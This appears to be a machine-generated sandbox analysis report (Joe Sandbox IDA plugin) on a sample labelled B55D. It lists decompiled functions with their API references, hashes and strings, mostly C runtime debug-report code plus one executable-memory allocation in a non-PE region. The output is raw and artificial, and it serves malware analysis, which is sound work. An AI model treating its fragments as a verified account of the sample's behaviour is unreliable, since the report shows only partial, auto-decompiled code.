Part of subcall function 00424580: TlsGetValue.KERNEL32(00000001), ref: 00424595
Part of subcall function 00424580: TlsGetValue.KERNEL32(00000001,00000001), ref: 004245B6
Part of subcall function 00424580: __crt_wait_module_handle.LIBCMTD ref: 004245CC
Part of subcall function 00424580: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004245E6
Part of subcall function 00424580: RtlEncodePointer.NTDLL(?), ref: 00424607

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 16ae5ad680bae248537db1b7ae9b06beeaa4bb98dee944b1f84a2314d2404214
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 11A0126254420833D00020833803B02390C87C0A3CE490021F60C051423C42A4904097

Uniqueness

Uniqueness Score: -1.00%

Function 0041B5C0, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;

				E004284F0(); // executed
				_t2 = L0041B5E0(_t3, _t4, _t5); // executed
				return _t2;
			}

0x0041b5c5
0x0041b5ca
0x00000000

APIs

___security_init_cookie.LIBCMTD ref: 0041B5C5

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 52422613817a88944e371b4f66b4a427ba77d32d6ea1bc63d67825c3649230ec
Instruction ID: 7790ba84f8f9bd962518f3a097c17ea330683b967cc49363de838f7c5ef148dc
Opcode Fuzzy Hash: 52422613817a88944e371b4f66b4a427ba77d32d6ea1bc63d67825c3649230ec
Instruction Fuzzy Hash: 48A0022120565D27016033A7180795EB58E88E475C7DA001E7518021033E9CB88140EE

Uniqueness

Uniqueness Score: -1.00%

Function 00965DB8, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00965E09

Memory Dump Source

Source File: 0000000E.00000002.409983633.0000000000961000.00000040.00000001.sdmp, Offset: 00961000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_961000_B55D.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 84c8f924847c386d57799e759deb647bd129587dd9c34ba4f9504a56d6e84d8d
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: FA112879A00208EFDB01DF98C985E99BBF5AF08750F0580A4F9489B362D371EA90DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00419C1F, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00419C1F(void* __eax) {
				void* _t3;

				_t3 = LocalAlloc(0, ??); // executed
				 *0x453940 = _t3;
				return _t3;
			}

0x00419c26
0x00419c2c
0x00419c31

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419C26

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 328b38956f2cee6fd3145982f2ae6cb1bfe0be84657c63a518d1894c71b59d74
Instruction ID: 264a79083637c77b35a120d9c5117da2d419632272c14f4acaa1252e06e6d102
Opcode Fuzzy Hash: 328b38956f2cee6fd3145982f2ae6cb1bfe0be84657c63a518d1894c71b59d74
Instruction Fuzzy Hash: 75B011F000A3008BC3000F20AA08B003AA0B300B23F000232EA00E02A2CBB080008A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00419C1E, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419C26

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction ID: e90401dc1b2c122d05c12a740f464d47e5f9c7e426064232dd3deca42c89b7c0
Opcode Fuzzy Hash: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction Fuzzy Hash: 03B011F000A3008BCB020FA0AE08B803BA2B308B23F000222E300A02B2CBB20000AB0A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042CB32, Relevance: 109.0, APIs: 39, Strings: 23, Instructions: 501
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042CB32() {
				struct _OVERLAPPED* _t166;
				WCHAR* _t170;
				signed int _t181;
				long _t184;
				intOrPtr _t190;
				signed int _t195;
				void* _t200;
				void* _t203;
				void* _t207;
				struct _OVERLAPPED* _t215;
				struct _OVERLAPPED** _t216;
				intOrPtr _t233;
				void* _t243;
				void* _t244;
				void* _t245;
				signed int _t267;
				signed int _t269;
				void* _t303;
				void* _t304;
				void* _t305;
				void* _t306;
				signed int _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;

				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t307 + 0x18)) != 0) {
						 *(_t307 - 0x7038) =  *(L00422E20(_t245));
						 *(L00422E20(_t245)) = 0;
						_t282 =  *((intOrPtr*)(_t307 + 0x1c));
						_t233 = E00438340(_t307 - 0x7030, 0x1000, 0xfeb,  *((intOrPtr*)(_t307 + 0x18)),  *((intOrPtr*)(_t307 + 0x1c)));
						_t309 = _t309 + 0x14;
						 *((intOrPtr*)(_t307 - 0x7034)) = _t233;
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041DA00( *(L00422E20(_t282)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x206, 0);
							_t309 = _t309 + 0x20;
						}
						 *(L00422E20(_t282)) =  *(_t307 - 0x7038);
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041DF70(E0042DB40(_t243, _t282, _t303, _t305, _t307 - 0x7030, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t236, L"wcscpy_s(szUserMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x209, 0);
							_t309 = _t309 + 0x24;
						}
					}
					if( *(_t307 + 8) == 2) {
						if( *((intOrPtr*)(_t307 + 0x18)) == 0) {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed!";
						} else {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed: ";
						}
						E0041DF70(E0042DB40(_t243,  *((intOrPtr*)(_t307 - 0x8070)), _t303, _t305, _t307 - 0x5030, 0x1000,  *((intOrPtr*)(_t307 - 0x8070))), _t227, L"wcscpy_s(szLineMessage, 4096, szFormat ? L\"Assertion failed: \" : L\"Assertion failed!\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x20e, 0);
						_t309 = _t309 + 0x24;
					}
					_t246 = _t307 - 0x5030;
					E0041DF70(E00437970(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, _t307 - 0x7030), _t159, L"wcscat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x210, 0);
					_t311 = _t309 + 0x24;
					if( *(_t307 + 8) == 2) {
						if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
							_t246 = _t307 - 0x5030;
							E0041DF70(E00437970(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, "\r"), _t225, L"wcscat_s(szLineMessage, 4096, L\"\\r\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x215, 0);
							_t311 = _t311 + 0x24;
						}
						E0041DF70(E00437970(_t243, _t246, _t303, _t305, _t307 - 0x5030, 0x1000, "\n"), _t223, L"wcscat_s(szLineMessage, 4096, L\"\\n\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x217, 0);
						_t311 = _t311 + 0x24;
					}
					if( *(_t307 + 0xc) == 0) {
						E0041DF70(E0042DB40(_t243, _t307 - 0x3028, _t303, _t305, _t307 - 0x3028, 0x1000, _t307 - 0x5030), _t162, L"wcscpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x225, 0);
						_t313 = _t311 + 0x24;
					} else {
						 *(_t307 - 0x703c) = 0;
						 *(_t307 - 0x7040) =  *(L00422E20(_t246));
						 *(L00422E20(_t246)) = 0;
						_push(_t307 - 0x5030);
						_push( *(_t307 + 0x10));
						_t279 = _t307 - 0x3028;
						_t215 = E0042D950(_t307 - 0x3028, _t307 - 0x3028, 0x1000, 0x1000, L"%s(%d) : %s",  *(_t307 + 0xc));
						_t313 = _t311 + 0x1c;
						 *(_t307 - 0x703c) = _t215;
						if( *(_t307 - 0x703c) < 0) {
							E0041DA00( *((intOrPtr*)(L00422E20(_t279))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x21f, 0);
							_t313 = _t313 + 0x20;
						}
						_t216 = L00422E20(_t279);
						_t280 =  *(_t307 - 0x7040);
						 *_t216 =  *(_t307 - 0x7040);
						if( *(_t307 - 0x703c) < 0) {
							E0041DF70(E0042DB40(_t243, _t280, _t303, _t305, _t307 - 0x3028, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t217, L"wcscpy_s(szOutMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x221, 0);
							_t313 = _t313 + 0x24;
						}
					}
					 *(_t307 - 0x7044) = 0;
					_t285 = _t307 - 0x3028;
					_t166 = E0041DA00(L00437940(0, _t307 - 0x1020, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22b, 0);
					_t315 = _t313 + 0x34;
					 *(_t307 - 0x7044) = _t166;
					if( *(_t307 - 0x7044) != 0) {
						E0041DF70(E0041DAF0(_t243, _t307 - 0x1020, _t305, _t307 - 0x1020, 0x1000, "_CrtDbgReport: String too long or Invalid characters in String"), _t209, L"strcpy_s(szOutMessage2, 4096, \"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22d, 0);
						_t315 = _t315 + 0x24;
					}
					if( *0x55b808 != 0 ||  *0x55b804 != 0) {
						 *(_t307 - 0x704c) = 0;
						 *(_t307 - 0x7048) = 0;
						L0041E2D0(0xf);
						_t315 = _t315 + 4;
						 *(_t307 - 4) = 1;
						_t285 =  *0x55b808;
						 *(_t307 - 0x704c) =  *0x55b808;
						while( *(_t307 - 0x704c) != 0) {
							 *(_t307 - 0x7050) = 0;
							_t285 =  *(_t307 - 0x704c);
							_t207 =  *(( *(_t307 - 0x704c))[6])( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7050);
							_t315 = _t315 + 0xc;
							if(_t207 == 0) {
								 *(_t307 - 0x704c) = ( *(_t307 - 0x704c))[2];
								continue;
							} else {
								 *(_t307 - 0x1024) =  *(_t307 - 0x7050);
								 *(_t307 - 0x302c) = 1;
							}
							break;
						}
						if( *(_t307 - 0x302c) == 0) {
							_t285 =  *0x55b804;
							 *(_t307 - 0x7048) =  *0x55b804;
							while( *(_t307 - 0x7048) != 0) {
								 *(_t307 - 0x7054) = 0;
								_t285 =  *(_t307 - 0x7048);
								_t203 =  *(( *(_t307 - 0x7048))[6])( *(_t307 + 8), _t307 - 0x3028, _t307 - 0x7054);
								_t315 = _t315 + 0xc;
								if(_t203 == 0) {
									 *(_t307 - 0x7048) = ( *(_t307 - 0x7048))[2];
									continue;
								} else {
									 *(_t307 - 0x1024) =  *(_t307 - 0x7054);
									 *(_t307 - 0x302c) = 1;
								}
								goto L43;
							}
						}
						L43:
						 *(_t307 - 4) = 0;
						E0042D0AA();
					}
					if( *(_t307 - 0x302c) == 0) {
						if( *0x55b800 != 0) {
							 *(_t307 - 0x7058) = 0;
							_t285 = _t307 - 0x7058;
							_t200 =  *0x55b800( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7058);
							_t315 = _t315 + 0xc;
							if(_t200 != 0) {
								_t285 =  *(_t307 - 0x7058);
								 *(_t307 - 0x1024) =  *(_t307 - 0x7058);
								 *(_t307 - 0x302c) = 1;
							}
						}
						if( *(_t307 - 0x302c) == 0) {
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
								_t285 =  *(_t307 + 8);
								if( *(0x441070 +  *(_t307 + 8) * 4) != 0xffffffff) {
									_t181 =  *(_t307 + 8);
									_t263 =  *(0x441070 + _t181 * 4);
									 *((intOrPtr*)(_t307 - 0x8074)) = GetFileType( *(0x441070 + _t181 * 4));
									if( *((intOrPtr*)(_t307 - 0x8074)) == 2) {
										_t184 = E0042DB10(_t263, _t307 - 0x3028);
										_t315 = _t315 + 4;
										_t285 =  *(_t307 + 8);
										if(WriteConsoleW( *(0x441070 +  *(_t307 + 8) * 4), _t307 - 0x3028, _t184, _t307 - 0x705c, 0) == 0) {
											if(GetLastError() == 6) {
												goto L57;
											} else {
											}
										} else {
										}
									} else {
										L57:
										 *(_t307 - 0x8064) = 0;
										_t190 = E0041DA00(L00437940(_t307 - 0x8064, _t307 - 0x8060, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x27e, 0);
										_t315 = _t315 + 0x34;
										 *((intOrPtr*)(_t307 - 0x8068)) = _t190;
										if( *((intOrPtr*)(_t307 - 0x8068)) == 0 ||  *((intOrPtr*)(_t307 - 0x8068)) == 0x50) {
											if( *(_t307 - 0x8064) > 0) {
												 *(_t307 - 0x8064) =  *(_t307 - 0x8064) - 1;
											}
											_t267 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t267 * 4);
											WriteFile( *(0x441070 + _t267 * 4), _t307 - 0x8060,  *(_t307 - 0x8064), _t307 - 0x705c, 0);
										} else {
											_t195 = E0042DB10(_t307 - 0x705c, _t307 - 0x3028);
											_t315 = _t315 + 4;
											_t269 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t269 * 4);
											WriteFile( *(0x441070 + _t269 * 4), _t307 - 0x3028, _t195 << 1, _t307 - 0x705c, 0);
										}
									}
								}
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000002) != 0) {
								_t285 = _t307 - 0x3028;
								OutputDebugStringW(_t307 - 0x3028);
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000004) != 0) {
								 *(_t307 - 0x5030) = 0;
								if( *(_t307 + 0x10) != 0) {
									E0041DF70(E00438370( *(_t307 + 0x10),  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t179, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x29c, 0);
									_t315 = _t315 + 0x28;
								}
								asm("sbb ecx, ecx");
								_t285 = _t307 - 0x5030;
								 *(_t307 - 0x1024) = E0041E3A0(_t243, _t307 - 0x5030, _t303, _t305,  *(_t307 + 8),  *(_t307 + 0xc),  ~( *(_t307 + 0x10)) & _t307 - 0x00005030,  *((intOrPtr*)(_t307 + 0x14)), _t307 - 0x7030);
							}
						}
					}
				} else {
					_t241 = E0041DF70(E00438370(_t307 - 0x5030,  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t240, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1f0, 0);
					OutputDebugStringW(L"Second Chance Assertion Failed: File ");
					if( *(_t307 + 0xc) == 0) {
						 *(_t307 - 0x806c) = L"<file unknown>";
					} else {
						_t241 =  *(_t307 + 0xc);
						 *(_t307 - 0x806c) =  *(_t307 + 0xc);
					}
					OutputDebugStringW( *(_t307 - 0x806c));
					OutputDebugStringW(L", Line ");
					_t285 = _t307 - 0x5030;
					OutputDebugStringW(_t307 - 0x5030);
					OutputDebugStringW("\n");
					E0042C200(_t241);
					 *(_t307 - 0x1024) = 0xffffffff;
				}
				 *(_t307 - 4) = 0xfffffffe;
				E0042D337();
				_t170 =  *(_t307 - 0x1024);
				 *[fs:0x0] =  *((intOrPtr*)(_t307 - 0x10));
				_pop(_t304);
				_pop(_t306);
				_pop(_t244);
				return E0042BC70(_t170, _t244,  *(_t307 - 0x1c) ^ _t307, _t285, _t304, _t306);
			}

0x0042cb3f
0x0042cbec
0x0042cbf9
0x0042cc04
0x0042cc0a
0x0042cc23
0x0042cc28
0x0042cc2b
0x0042cc38
0x0042cc5c
0x0042cc61
0x0042cc61
0x0042cc6f
0x0042cc78
0x0042ccaa
0x0042ccaf
0x0042ccaf
0x0042cc78
0x0042ccb6
0x0042ccbc
0x0042ccca
0x0042ccbe
0x0042ccbe
0x0042ccbe
0x0042cd06
0x0042cd0b
0x0042cd0b
0x0042cd30
0x0042cd40
0x0042cd45
0x0042cd4c
0x0042cd5b
0x0042cd7d
0x0042cd8d
0x0042cd92
0x0042cd92
0x0042cdc5
0x0042cdca
0x0042cdca
0x0042cdd1
0x0042cee1
0x0042cee6
0x0042cdd7
0x0042cdd7
0x0042cde8
0x0042cdf3
0x0042cdff
0x0042ce03
0x0042ce17
0x0042ce1e
0x0042ce23
0x0042ce26
0x0042ce33
0x0042ce57
0x0042ce5c
0x0042ce5c
0x0042ce5f
0x0042ce64
0x0042ce6a
0x0042ce73
0x0042cea5
0x0042ceaa
0x0042ceaa
0x0042cead
0x0042cee9
0x0042cf0f
0x0042cf2d
0x0042cf32
0x0042cf35
0x0042cf42
0x0042cf74
0x0042cf79
0x0042cf79
0x0042cf83
0x0042cf92
0x0042cf9c
0x0042cfa8
0x0042cfad
0x0042cfb0
0x0042cfb7
0x0042cfbd
0x0042cfd4
0x0042cfdd
0x0042cff9
0x0042d002
0x0042d004
0x0042d009
0x0042cfce
0x00000000
0x0042d00b
0x0042d011
0x0042d017
0x0042d017
0x00000000
0x0042d009
0x0042d02c
0x0042d02e
0x0042d034
0x0042d04b
0x0042d054
0x0042d070
0x0042d079
0x0042d07b
0x0042d080
0x0042d045
0x00000000
0x0042d082
0x0042d088
0x0042d08e
0x0042d08e
0x00000000
0x0042d080
0x0042d04b
0x0042d09c
0x0042d09c
0x0042d0a3
0x0042d0a3
0x0042d0bc
0x0042d0c9
0x0042d0cb
0x0042d0d5
0x0042d0e7
0x0042d0ed
0x0042d0f2
0x0042d0f4
0x0042d0fa
0x0042d100
0x0042d100
0x0042d0f2
0x0042d111
0x0042d124
0x0042d12a
0x0042d135
0x0042d13b
0x0042d13e
0x0042d14c
0x0042d159
0x0042d16d
0x0042d172
0x0042d17d
0x0042d190
0x0042d1a0
0x00000000
0x00000000
0x0042d1a2
0x00000000
0x0042d192
0x0042d15b
0x0042d1a7
0x0042d1a7
0x0042d1f0
0x0042d1f5
0x0042d1f8
0x0042d205
0x0042d24c
0x0042d257
0x0042d257
0x0042d274
0x0042d277
0x0042d27f
0x0042d210
0x0042d220
0x0042d225
0x0042d232
0x0042d235
0x0042d23d
0x0042d23d
0x0042d205
0x0042d159
0x0042d135
0x0042d292
0x0042d294
0x0042d29b
0x0042d29b
0x0042d2ae
0x0042d2b2
0x0042d2bd
0x0042d2f0
0x0042d2f5
0x0042d2f5
0x0042d308
0x0042d30a
0x0042d323
0x0042d323
0x0042d2ae
0x0042d111
0x0042cb45
0x0042cb76
0x0042cb83
0x0042cb8d
0x0042cb9a
0x0042cb8f
0x0042cb8f
0x0042cb92
0x0042cb92
0x0042cbab
0x0042cbb6
0x0042cbbc
0x0042cbc3
0x0042cbce
0x0042cbd4
0x0042cbd9
0x0042cbd9
0x0042d329
0x0042d330
0x0042d349
0x0042d352
0x0042d35a
0x0042d35b
0x0042d35c
0x0042d36a

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042CB37
__invoke_watson_if_error.LIBCMTD ref: 0042CB76
OutputDebugStringW.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042CB83
OutputDebugStringW.KERNEL32(004067C0), ref: 0042CBAB
OutputDebugStringW.KERNEL32(, Line ), ref: 0042CBB6
OutputDebugStringW.KERNEL32(?), ref: 0042CBC3
OutputDebugStringW.KERNEL32(004067AC), ref: 0042CBCE
_wcscat_s.LIBCMTD ref: 0042CD84

Part of subcall function 00437970: __invalid_parameter.LIBCMTD ref: 004379E2

__invoke_watson_if_error.LIBCMTD ref: 0042CD8D

Part of subcall function 0041DF70: __invoke_watson.LIBCMTD ref: 0041DF91

_wcscat_s.LIBCMTD ref: 0042CDBC

Part of subcall function 00437970: _memset.LIBCMT ref: 00437A4F
Part of subcall function 00437970: __invalid_parameter.LIBCMTD ref: 00437AAB

__invoke_watson_if_error.LIBCMTD ref: 0042CDC5
__snwprintf_s.LIBCMTD ref: 0042CE1E

Part of subcall function 0042D950: __vsnwprintf_s_l.LIBCMTD ref: 0042D972

__invoke_watson_if_oneof.LIBCMTD ref: 0042CE57
_wcscpy_s.LIBCMTD ref: 0042CE9C
__invoke_watson_if_error.LIBCMTD ref: 0042CEA5
__invoke_watson_if_oneof.LIBCMTD ref: 0042CF2D
_wcscpy_s.LIBCMTD ref: 0042CF6B
__invoke_watson_if_error.LIBCMTD ref: 0042CF74
__itow_s.LIBCMTD ref: 0042CB6D

Part of subcall function 00438370: _xtow_s@20.LIBCMTD ref: 0043839B

__strftime_l.LIBCMTD ref: 0042CC23
__invoke_watson_if_oneof.LIBCMTD ref: 0042CC5C
_wcscpy_s.LIBCMTD ref: 0042CCA1
__invoke_watson_if_error.LIBCMTD ref: 0042CCAA
_wcscpy_s.LIBCMTD ref: 0042CCFD
__invoke_watson_if_error.LIBCMTD ref: 0042CD06
_wcscat_s.LIBCMTD ref: 0042CD37
__invoke_watson_if_error.LIBCMTD ref: 0042CD40

Strings

wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042D1C2
_CrtDbgReport: String too long or IO Error, xrefs: 0042CC90, 0042CE8B
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 0042CD6E
_VCrtDbgReportW, xrefs: 0042CB51, 0042CC46, 0042CC86, 0042CCE0, 0042CD1A, 0042CD69, 0042CDA1, 0042CE41, 0042CE81, 0042CEFF, 0042CF50, 0042D1BD, 0042D2CB
, Line , xrefs: 0042CBB1
(*_errno()), xrefs: 0042CC4B, 0042CE46
<file unknown>, xrefs: 0042CB9A
Second Chance Assertion Failed: File , xrefs: 0042CB7E
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042CF04
Assertion failed!, xrefs: 0042CCCA
%s(%d) : %s, xrefs: 0042CE08
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CC8B
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CE86
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042CF55
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 0042CDA6
P, xrefs: 0042D207
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042CD1F
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042CB4C, 0042CC41, 0042CC81, 0042CCDB, 0042CD15, 0042CD64, 0042CD9C, 0042CE3C, 0042CE7C, 0042CEFA, 0042CF4B, 0042D1B8, 0042D2C6
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042CF5A
Assertion failed: , xrefs: 0042CCBE
f@, xrefs: 0042CCEA, 0042CCF0
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 0042CB56, 0042D2D0
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 0042CCE5

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnwprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f@
API String ID: 2252013794-1152050759
Opcode ID: 30dc5baede6a4c09c5646088e5663764074af072632158a5e24b192259fd1e63
Instruction ID: 278d2df55fd75b7693128616348ca7d3283d7e896180cc54a571814811c9d524
Opcode Fuzzy Hash: 30dc5baede6a4c09c5646088e5663764074af072632158a5e24b192259fd1e63
Instruction Fuzzy Hash: B512B4B4E44324EAEB20DF50EC46FDA7378AB04744F5081AAF509762C1D7BCAA94CF59

Uniqueness

Uniqueness Score: -1.00%

